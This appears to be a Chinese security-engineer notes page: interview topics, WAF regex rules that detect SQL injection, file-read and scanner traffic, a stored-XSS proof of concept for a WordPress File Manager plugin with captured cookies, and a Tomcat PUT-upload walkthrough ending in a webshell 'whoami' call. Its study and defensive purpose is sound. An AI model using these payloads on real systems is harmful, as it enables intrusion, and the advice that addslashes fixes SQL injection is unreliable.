不同维度面试安全工程师广度和深度

主机漏洞:提权漏洞、脏牛、bash破壳、幽灵(组合利用姿势)
框架漏洞:Thinkphp、Sprint、Struts2等
中间件漏洞:IIS、Apache、nginx、tomcat、weblgic、JBoss、docker、ImageMagick;
WEB漏洞:sql注入、xss、跨域漏洞、csrf、ssrf、盲注命令执行、XXE、反序列化(原理、检测方法、利用饶人技巧、修复方案)
APP漏洞:常见漏洞、关注点,webview组件漏洞
代码审计:审计思路,遇到的多个pop链和函数特性
内网渗透:内网常见漏洞,如何判断域控主机,拿到域内机器后思路
SDL流程:在那些节点实战过,业务紧急上线怎么做SDL
最近漏洞:关注的新漏洞及原理

web可疑访问监控规则waf规则

args:

\.\./
\:\$
\$\{
select.+(from|limit)
(?:(union(.*?)select))
having|rongjitest
sleep\((\s*)(\d*)(\s*)\)
benchmark\((.*)\,(.*)\)
base64_decode\(
(?:from\W+information_schema\W)
(?:(?:current_)user|database|schema|connection_id)\s*\(
(?:etc\/\W*passwd)
into(\s+)+(?:dump|out)file\s*
group\s+by.+\(
xwork.MethodAccessor
(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|preg_\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\(
xwork\.MethodAccessor
(gopher|doc|php|glob|file|phar|zlib|ftp|ldap|dict|ogg|data)\:\/
java\.lang
\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\[
\<(iframe|script|body|img|layer|div|meta|style|base|object|input) (onmouseover|onerror|onload)\= cookies: \.\./ \:\$ \$\{ select.+(from|limit) (?:(union(.*?)select)) having|rongjitest sleep\((\s*)(\d*)(\s*)\) benchmark\((.*)\,(.*)\) base64_decode\( (?:from\W+information_schema\W) (?:(?:current_)user|database|schema|connection_id)\s*\( (?:etc\/\W*passwd) into(\s+)+(?:dump|out)file\s* group\s+by.+\( xwork.MethodAccessor (?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|preg_\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\( xwork\.MethodAccessor (gopher|doc|php|glob|file|phar|zlib|ftp|ldap|dict|ogg|data)\:\/ java\.lang \$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\[ post: select.+(from|limit) (?:(union(.*?)select)) having|rongjitest sleep\((\s*)(\d*)(\s*)\) benchmark\((.*)\,(.*)\) base64_decode\( (?:from\W+information_schema\W) (?:(?:current_)user|database|schema|connection_id)\s*\( (?:etc\/\W*passwd) into(\s+)+(?:dump|out)file\s* group\s+by.+\( xwork.MethodAccessor (?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|preg_\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\( xwork\.MethodAccessor (gopher|doc|php|glob|file|phar|zlib|ftp|ldap|dict|ogg|data)\:\/ java\.lang \$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\[ \<(iframe|script|body|img|layer|div|meta|style|base|object|input) (onmouseover|onerror|onload)\= urls: \.(svn|htaccess|bash_history) \.(bak|inc|old|mdb|sql|backup|java|class)$ (vhost|bbs|host|wwwroot|www|site|root|hytop|flashfxp).*\.rar (phpmyadmin|jmx-console|jmxinvokerservlet) java\.lang /(attachments|upimg|images|css|uploadfiles|html|uploads|templets|static|template|data|inc|forumdata|upload|includes|cache|avatar)/(\\w+).(php|jsp) user_agent: (HTTrack|harvest|audit|dirbuster|pangolin|nmap|sqln|-scan|hydra|Parser|libwww|BBBike|sqlmap|w3af|owasp|Nikto|fimap|havij|PycURL|zmeu|BabyKrokodil|netsparker|httperf|bench| SF/)

PHP htmlspecialchars不转义单引号只转义双引号

PHP htmlspecialchars不转义单引号只转义双引号,测试代码如下:

<?php
echo "原生:".$_GET['test']."<br>";
echo "htmlspecialchars:".htmlspecialchars($_GET['test'])."<br>"; //不转义单引号,转义其他特殊字符
echo "addslashes:".addslashes($_GET['test'])."<br>"; //转义单引号
echo "ADD:".addslashes(htmlspecialchars($_GET['test']));//合并

在处理sql注入时,使用单引号闭合的,用htmlspecialchars函数没用,应该用addslashes函数转义单引号,两个一起用修复sql注入和xss漏洞。

CVE-2018-16363 WordPress Plugin File Manager 2.9 – storage XSS

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16363

file:file_folder_manager.php
code:set_transient( ‘wp_fm_lang’, $_GET[‘lang’] , 60 60 720 );

file:lib\wpfilemanager.php
code:var fmlang = ““;

poc:

request

[code]
GET /blog/wp-admin/admin.php?page=wp_file_manager&lang=zh_CN<script>alert(1234567890)</script> HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: wordpress_5aa6a4a225f40db86349342d0826a90c=admin%7C1535989327%7CKko2gM0P0FjhgEpNTIqRneg9Ky7aKaqWloRFGrsyw6q%7C71f1ed8075d5a34b82548bb0a92e6b6338ecf8fba0adc57da627d55f07693220; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_5aa6a4a225f40db86349342d0826a90c=admin%7C1535989327%7CKko2gM0P0FjhgEpNTIqRneg9Ky7aKaqWloRFGrsyw6q%7C5fbc26f57a4eaf15c60c5840d5fa14f296e3bb1c66e567358d761a3963d1bb82; wp-settings-1=deleted; wp-settings-time-1=1535770900; PHPSESSID=501108188d8569138517f08ba9741c92
Connection: close
Upgrade-Insecure-Requests: 1
[/code]

response

[code]
HTTP/1.1 200 OK
Date: Sat, 01 Sep 2018 15:55:34 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.2.17
X-Powered-By: PHP/5.2.17
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 47316



………”;var vle_nonce = “863ad12aa7”;………
[/code]

Exploit Title: WordPress Plugin File Manager 2.9 – storage type XSS
Exploit Author: ly55521
Google Dork: N/A
Type: XSS
Date: 2018-09-02
Vendor Homepage: N/A
Software Link: https://wordpress.org/plugins/wp-file-manager/
Affected Version: < 3.0
Tested on: Kali OS
CVE : CVE-2018-16363

Related links:

Update record: http://plugins.trac.wordpress.org/changeset/1936043
EXP: http://blog.51cto.com/010bjsoft/2171087
Loophole notification: https://wordpress.org/support/topic/security-concern-6/#post-10655739
safelink:https://wordpress.org/plugins/wp-file-manager/

CVE-2017-12615【tomcat错误配置,任意文件上传】

一. 漏洞简介

漏洞名称:CVE-2017-12615  “远程代码执行漏洞”

漏洞描述:Tomcat CVE-2017-12615远程代码执行漏洞 / CVE-2017-12616信息泄漏。
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定条件下,攻击者可以利用这两个漏洞,获取用户服务器上 JSP 文件的源代码,或是通过精心构造的攻击请求,向用户服务器上传恶意JSP文件,通过上传的 JSP 文件 ,可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险。
CVE-2017-12616:信息泄露漏洞
当 Tomcat 中使用了 VirtualDirContext 时,攻击者将能通过发送精心构造的恶意请求,绕过设置的相关安全限制,或是获取到由 VirtualDirContext 提供支持资源的 JSP 源代码。
CVE-2017-12615:远程代码执行漏洞
当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。
通过以上两个漏洞可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险。

影响版本:
CVE-2017-12616影响范围:Apache Tomcat 7.0.0 – 7.0.80
CVE-2017-12615影响范围: Apache Tomcat 7.0.0 – 7.0.79

漏洞评级:高危

影响范围:RT
 
 
参考链接:
CVE-2017-12615:
https://tomcat.apache.org/security-7.html
http://tomcat.apache.org/security-7.html#Fixed_in_Apache_Tomcat_7.0.81

二. 利用条件

CVE-2017-12615漏洞利用需要在Windows环境,且需要将 readonly 初始化参数由默认值设置为 false,经过实际测试,Tomcat 7.x版本内web.xml配置文件内默认配置无readonly参数,需要手工添加,默认配置条件下不受此漏洞影响。
CVE-2017-12616漏洞需要在server.xml文件配置VirtualDirContext参数,经过实际测试,Tomcat 7.x版本内默认配置无VirtualDirContext参数,需要手工添加,默认配置条件下不受此漏洞影响。
根据绿盟最新研究在linux下也有影响,建议关闭PUT方法。

三. 漏洞测试

3.1白盒测试

开发人员检查是否使用受影响范围内的Apache Tomcat版本

3.2黑盒测试

1.首先搭建tomcat环境,需要预装下jdk,安装流程和配置参考:
http://www.ouyaoxiazai.com/soft/stgj/133/45254.html
搭建成功后,访问 http://10.74.53.11:8080/
2.开启PUT方法
安装好后,修改 C:\Program Files\Apache Software Foundation\Tomcat 7.0\conf\web.xml 配置文件,增加 readonly 设置为 false

3.然后使用burpsuite抓包把GET方法转为PUT方法写入数据,如下:

注意:PUT路径要用/结束,写入成功后,会返回201或者200,如果返回404说明没有写/

写入成功后,在服务器的 web目录,如下
C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT增加了test.jsp文件

4.访问上传的木马 http://10.74.53.11:8080/test.jsp?pwd=023&i=whoami

复现参考:https://www.secfree.com/article-399.html
POC&EXP参考:
https://github.com/fupinglee/MyPython/blob/92394ff98b02c1d81361ce2d5ae9f53f527a2a6b/exploit/CVE-2017-12615/CVE-2017-12615.py?from=groupmessage&isappinstalled=1

3.3其他补充

其他

四. 解决方案

根据业务评估配置readonly和VirtualDirContext值为Ture或注释参数,禁用PUT方法并重启tomcat,临时规避安全风险,升级为最新版本;
注意: 如果禁用PUT方法,对于依赖PUT方法的应用,可能导致业务失效。
官方已经发布Apache Tomcat 7.0.81 版本修复了两个漏洞建议升级最新版。